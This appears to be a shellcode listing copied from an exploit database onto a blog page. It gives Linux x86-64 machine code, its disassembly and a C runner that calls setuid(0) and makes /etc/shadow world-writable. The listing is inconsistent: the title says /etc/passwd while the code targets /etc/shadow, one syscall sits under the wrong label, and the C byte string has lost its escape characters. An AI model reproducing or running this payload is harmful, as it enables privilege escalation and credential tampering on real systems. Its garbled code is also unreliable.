• Linux/x86-64


    
    
    /*
    Title:  Linux/x86-64 - setuid(0) & chmod ("/etc/passwd", 0777) & exit(0) - 63 byes
    Date:   2010-06-17
    Tested: Archlinux x86_64 k2.6.33
    
    Author: Jonathan Salwan
    Web:    http://shell-storm.org | http://twitter.com/shell_storm
    
    ! Dtabase of shellcodes http://www.shell-storm.org/shellcode/
    
    
    
      <-- _setuid(0) -->
      400078:  48 31 ff               xor    %rdi,%rdi
      40007b:  48 31 c0               xor    %rax,%rax
      40007e:  b0 69                  mov    $0x69,%al
      400080:  0f 05                  syscall
    
      <-- _chmod("/etc/shadow", 0777) -->
      400082:  48 31 d2               xor    %rdx,%rdx
      400085:  66 be ff 01            mov    $0x1ff,%si
      400089:  48 bb ff ff ff ff ff   mov    $0x776f64ffffffffff,%rbx
      400090:  64 6f 77 
      400093:  48 c1 eb 28            shr    $0x28,%rbx
      400097:  53                     push   %rbx
      400098:  48 bb 2f 65 74 63 2f   mov    $0x6168732f6374652f,%rbx
      40009f:  73 68 61 
      4000a2:  53                     push   %rbx
      4000a3:  48 89 e7               mov    %rsp,%rdi
      4000a6:  48 31 c0               xor    %rax,%rax
      4000a9:  b0 5a                  mov    $0x5a,%al
    
      <-- _exit(0) -->
      4000ab:  0f 05                  syscall 
      4000ad:  48 31 ff               xor    %rdi,%rdi
      4000b0:  48 31 c0               xor    %rax,%rax
      4000b3:  b0 3c                  mov    $0x3c,%al
      4000b5:  0f 05                  syscall
    */
    
    #include <stdio.h>
    
    
    char *SC =  "x48x31xffx48x31xc0xb0x69x0fx05"
                "x48x31xd2x66xbexffx01x48xbbxff"
                "xffxffxffxffx64x6fx77x48xc1xeb"
                "x28x53x48xbbx2fx65x74x63x2fx73"
                "x68x61x53x48x89xe7x48x31xc0xb0"
                "x5ax0fx05x48x31xffx48x31xc0xb0"
                "x3cx0fx05";
    
    int main(void)
    {
            fprintf(stdout,"Length: %d
    ",strlen(SC));
            (*(void(*)()) SC)();
    return 0;
    }
  • 相关阅读:
    开源的免费的对比工具
    win10 git bash 配置
    Java SSH 不使用终端也能调用环境变量中的指令
    MySQL WITH ROLLUP
    docker安装postgres
    开源的应用容器引擎
    清除浮动有哪几种方法
    js中的yield
    git的速学了解
    string/stringBuffer/StringBuilder的区别
  • 原文地址:https://www.cnblogs.com/bittorrent/p/3252167.html
Copyright © 2020-2023  润新知